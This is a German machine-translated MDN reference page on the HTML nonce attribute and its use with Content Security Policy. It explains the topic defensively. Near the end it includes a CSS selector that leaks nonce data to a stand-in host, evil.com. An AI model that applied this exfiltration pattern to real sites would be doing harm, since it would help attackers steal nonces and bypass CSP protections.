Movatterモバイル変換


[0]ホーム

URL:


  1. Web
  2. HTML
  3. Reference
  4. Globale Attribute
  5. nonce

Dieser Inhalt wurde automatisch aus dem Englischen übersetzt, und kann Fehler enthalten.Erfahre mehr über dieses Experiment.

View in EnglishAlways switch to English

HTML nonce-Globalattribut

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since März 2022.

Dasnonce-Globalattribut ist ein Inhaltsattribut, das eine kryptografischeNonce ("number used once") definiert, die von derContent Security Policy verwendet werden kann, um zu bestimmen, ob ein bestimmter Abruf für ein gegebenes Element erlaubt ist oder nicht.

Beschreibung

Dasnonce-Attribut ist nützlich, um spezifische Elemente, wie beispielsweise ein bestimmtes Inline-Skript oder Style-Elemente, auf eine Positivliste zu setzen. Es kann Ihnen helfen, die Verwendung derCSPunsafe-inline-Direktive zu vermeiden, welchealle Inline-Skripte oder Styles auf eine Positivliste setzen würde.

Hinweis:Verwenden Sienonce nur in Fällen, in denen es keine Möglichkeit gibt, unsichere Inline-Skript- oder Stil-Inhalte zu vermeiden. Wenn Sienonce nicht benötigen, verwenden Sie es nicht. Wenn Ihr Skript statisch ist, könnten Sie stattdessen auch einen CSP-Hash verwenden. (Siehe Nutzungshinweise zuunsicherem Inline-Skript.) Versuchen Sie immer, den vollen Vorteil derCSP-Schutzmechanismen zu nutzen und Nonces oder unsichere Inline-Scripts wann immer möglich zu vermeiden.

Verwendung von nonce zur Positivliste eines<script>-Elements

Es gibt einige Schritte, um ein Inline-Skript mit Hilfe des Nonce-Mechanismus auf eine Positivliste zu setzen:

Werte generieren

Generieren Sie von Ihrem Webserver aus einen zufälligen, base64-kodierten String mit mindestens 128 Bit Daten von einem kryptografisch sicheren Zufallszahlengenerator. Nonces sollten jedes Mal neu generiert werden, wenn die Seite geladen wird (Nonce nur einmal verwenden!). Zum Beispiel in Node.js:

js
import crypto from "node:crypto";crypto.randomBytes(16).toString("base64");// '8IBTHwOdqNKAWeKl7plt8g=='

Inline-Skript auf die Positivliste setzen

Die auf Ihrem Backend-Code generierte Nonce sollte nun für das Inline-Skript verwendet werden, das Sie auf die Positivliste setzen möchten:

html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">  // …</script>

Senden einer Nonce mit einem CSP-Header

Schließlich müssen Sie den Nonce-Wert in einemContent-Security-Policy-Header senden (vorangestellt mitnonce-):

http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Zugriff auf Nonces und Verbergen von Nonces

Aus Sicherheitsgründen ist dasnonce-Inhaltsattribut verborgen (ein leerer String wird zurückgegeben).

js
script.getAttribute("nonce"); // returns empty string

Dienonce-Eigenschaft ist der einzige Weg, um auf Nonces zuzugreifen:

js
script.nonce; // returns nonce value

Das Verbergen von Nonces hilft, Angreifer daran zu hindern, Nonce-Daten über Mechanismen zu stehlen, die Daten von Inhaltsattributen abrufen können, wie dieses:

css
script[nonce~="whatever"] {  background: url("https://evil.com/nonce?whatever");}

Spezifikationen

Specification
HTML
# attr-nonce

Browser-Kompatibilität

Siehe auch

Help improve MDN

Learn how to contribute Diese Seite wurde automatisch aus dem Englischen übersetzt.

[8]ページ先頭

©2009-2026 Movatter.jp